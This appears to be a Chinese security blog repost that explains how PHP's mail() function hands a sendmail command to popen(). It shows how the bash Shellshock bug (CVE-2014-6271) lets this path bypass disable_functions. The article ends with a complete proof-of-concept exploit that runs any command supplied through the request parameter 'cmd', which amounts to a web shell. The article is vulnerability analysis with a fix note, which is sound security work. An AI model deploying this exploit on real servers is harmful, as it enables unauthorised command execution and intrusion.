先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行： char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的： ; For Unix only.You may supply argume
先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c
236行： char *sendmail_path = INI_STR("sendmail_path"); <br>char *sendmail_cmd = NULL;
从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的： ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). <br>;sendmail_path =
注释中可以看到，send_mail默认值为”sendmail -t -i”. 
extra_cmd（用户传入的一些额外参数）存在的时候，调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下： if (!sendmail_path) { <br>#if (defined PHP_WIN32 || defined NETWARE) <br> /* handle old style win smtp sending */ <br> if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { <br> if (tsm_errmsg) { <br> php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); <br> efree(tsm_errmsg); <br> } else { <br> php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); <br> } <br> MAIL_RET(0); <br> } <br> MAIL_RET(1); <br>#else <br> MAIL_RET(0); <br>#endif <br> } <br> if (extra_cmd != NULL) { <br> spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); <br> } else { <br> sendmail_cmd = sendmail_path; <br> }
之后执行： #ifdef PHP_WIN32 <br> sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); <br>#else <br> /* Since popen() doesn't indicate if the internal fork() doesn't work <br> * (e.g. the shell can't be executed) we explicitly set it to 0 to be <br> * sure we don't catch any older errno value. */ <br> errno = 0; <br> sendmail = popen(sendmail_cmd, "w"); <br>#endif
将sendmail_cmd丢给popen执行。
如果系统默认sh是bash，popen就会丢给bash执行。
而之前的bash破壳（CVE-2014-6271）漏洞，直接导致我们可以利用mail()函数执行任意命令，绕过disable_functions。
影响版本：php 各版本
修复方法：修复CVE-2014-6271
给出POC（http://www.exploit-db.com/exploits/35146/）如下： <?php <br /># Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) <br># Google Dork: none <br># Date: 10/31/2014 <br># Exploit Author: Ryan King (Starfall) <br># Vendor Homepage: http://php.net <br># Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror <br># Version: 5.* (tested on 5.6.2) <br># Tested on: Debian 7 and CentOS 5 and 6 <br># CVE: CVE-2014-6271 <br><br>function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 <br> $tmp = tempnam(".","data"); <br> putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); <br> // In Safe Mode, the user may only alter environment variableswhose names <br> // begin with the prefixes supplied by this directive. <br> // By default, users will only be able to set environment variablesthat <br> // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, <br> // PHP will let the user modify ANY environment variable! <br> mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail <br> $output = @file_get_contents($tmp); <br> @unlink($tmp); <br> if($output != "") return $output; <br> else return "No output, or not vuln."; <br>} <br>echo shellshock($_REQUEST["cmd"]); <br>?>
【本文来源：http://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html 作者 phith0n】
安全脉搏 » PHP Execute Command Bypass Disable_functions
